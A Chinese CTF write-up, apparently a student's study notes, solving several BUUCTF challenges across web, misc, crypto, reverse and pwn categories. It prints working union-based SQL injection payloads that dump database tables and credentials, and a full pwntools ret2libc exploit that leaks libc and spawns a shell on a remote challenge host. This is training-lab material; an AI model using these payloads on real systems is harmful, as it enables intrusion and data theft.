题解
web:[极客大挑战 2019]Havefun
打开是一个猫猫的图片
查看源代码
就是一个简单的get传参,直接在url后面输入cat=dog即可
有点水,再来一题
[极客大挑战 2019]LoveSQL
熟悉的界面,不熟悉的注入
尝试上次的方法,注入万能密码试试
' or '1'='1'#
得到一串乱码,疑似是flag ,但是输入是错误的
登录admin界面试试,还是回显这个界面
不过好处是可以得知注入类型为字符型,闭合方式为单引号闭合
尝试爆字段
username=1' order by 3#时
username=1' order by 4# 时
说明字段数为3
查字段,第三个字段是password
1' union select 1,2,3 #
爆库名
1' union select 1,2,database() #
联合爆表
1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()) #
得到两个表名geekuser和l0ve1ysq1,题目名字就叫loveSQL,先爆第二个表的字段
1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1') #
最后爆一下内容
1' union select 1,2,(select group_concat(id,username,password) from l0ve1ysq1) #
flag{bdcc52c2-84d6-4c78-b608-20f7aefbb6c4}
misc:梅花香之苦寒来
参考:【BUUCTF】梅花香自苦寒来_buuctf 梅花香之苦寒来-CSDN博客
下载附件,得到一张图片
查看图片属性,没有什么东西
用010打开文件夹,搜索jpg文件尾FF D9,有一堆16进制编码
复制在新建的文本文件中
这里可以用随波逐流直接16进制转文件
也可以写脚本转成文件
# 读取十六进制表示的文本文件
with open('C:\\Users\\aran\\Desktop\\1234567890.txt', 'r') as h:val = h.read()# 将转换后的字符写入新的文本文件
with open('C:\\Users\\aran\\Desktop\\6666.txt', 'w') as re:for i in range(0, len(val), 2):# 每两个字符组成一个十六进制数,转换为整数,再转换为ASCII字符hex_val = int(val[i:i+2], base=16)ascii_char = chr(hex_val)# 打印并写入转换后的字符print(ascii_char, end="")re.write(ascii_char)
得到一大串类似于坐标的东西
联想到前面说的你会画图吗,猜想这些坐标是用来画图的
使用gnuplot进行画图,使用gnuplot之前需要先将坐标格式转换成gnuplot可以识别的格式
with open('result.txt', 'r') as res: # 坐标格式文件比如(7,7)re = res.read()res.close()with open('gnuplotTxt.txt', 'w') as gnup: # 将转换后的坐标写入gnuplotTxt.txtre = re.split()tem = ''for i in range(0, len(re)):tem = re[i]tem = tem.lstrip('(')tem = tem.rstrip(')')for j in range(0, len(tem)):if tem[j] == ',':tem = tem[:j] + ' ' + tem[j+1:]gnup.write(tem + '\n')gnup.close()
转化完格式后,将转化后的2.txt放在gnuplot的目录下
plot "2.txt"
得到二维码
最后扫描即可得到flag
crypto:[AFCTF2018]Morse
下载附件,是一个摩斯密码
随波逐流解码
提交是错的,大写转小写试试
还是不行,仔细观察字符串发现字符串由数字和字母组成,并且字母没有超过F的,于是尝试用HEX解密 ,就可以了
reverse:[WUSTCTF2020]level3
下载附件,exeinfope查看,64位无壳
ida打开,查看主函数
puts函数那里有一串base64编码,解码一下,解不出来
再翻翻左边的函数,有一个长得很丑的,点进去看,找到了base64加密变表的函数
将加密表变换一下写个解密exp
import base64
b64table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'b64tablelst=list(b64table)
for i in range(0,10):v1=b64tablelst[i]b64tablelst[i]=b64tablelst[19-i]result=19-ib64tablelst[result]=v1
new_b64table=''
for i in range(0,len(b64tablelst)):new_b64table+=b64tablelst[i]print(new_b64table)
enb64="d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD=="
flag=base64.b64decode(enb64.translate(str.maketrans(b64table,new_b64table)))
print(flag)
pwn:ciscn_2019_en_2
exeinfope查看,64位无壳
ida64打开,查看主函数,,先是一个嵌套循环,然后输入v4的值,根据v4值来执行下面的代码
输入1进入encrypt()函数内,然后利用gets函数可以实现栈溢出攻击
没有system函数,shift+F12找找有没有/bin/sh/
并没有
跟昨天那个题有点相似了,应该也是构造rop链
思路:通过put函数泄露libc地址,然后拿到system函数和/bin/sh字符串实现攻击。
exp:
from pwn import *
from LibcSearcher import *elf = ELF("C:\Users\aran\Downloads\ciscn_2019_en_2")p = remote("node5.buuoj.cn",28274)main_addr = elf.sym['main']
#print(hex(main_addr))
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']pop_rdi_ret = 0x0000000000400c83payload1 = b'a'*(0x50+0x8) +p64(pop_rdi_ret)
payload1+=p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter("Input your Plaintext to be encrypted",payload1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_addr = libc_base + libc.dump('str_bin_sh')payload2 = b'a'*(0x50+0x8) + p64(0x04006b9)+p64(pop_rdi_ret)#ret_addr=0x04006b9
payload2+=p64(bin_addr)+ p64(sys_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter("Input your Plaintext to be encrypted",payload2)
p.interactive()
由于要安装libcsearcher库,俺安了一天也没安好(昨天也一直在安库),先安着,等会再来看
知识点
16进制编码特征:使用16个字符来表示数据,这些字符分别是0-9的数字和A-F的字母。其中,A-F分别代表10-15的十进制数值。值得注意的是,16进制编码中的字母不区分大小写,即a-f和A-F是等价的。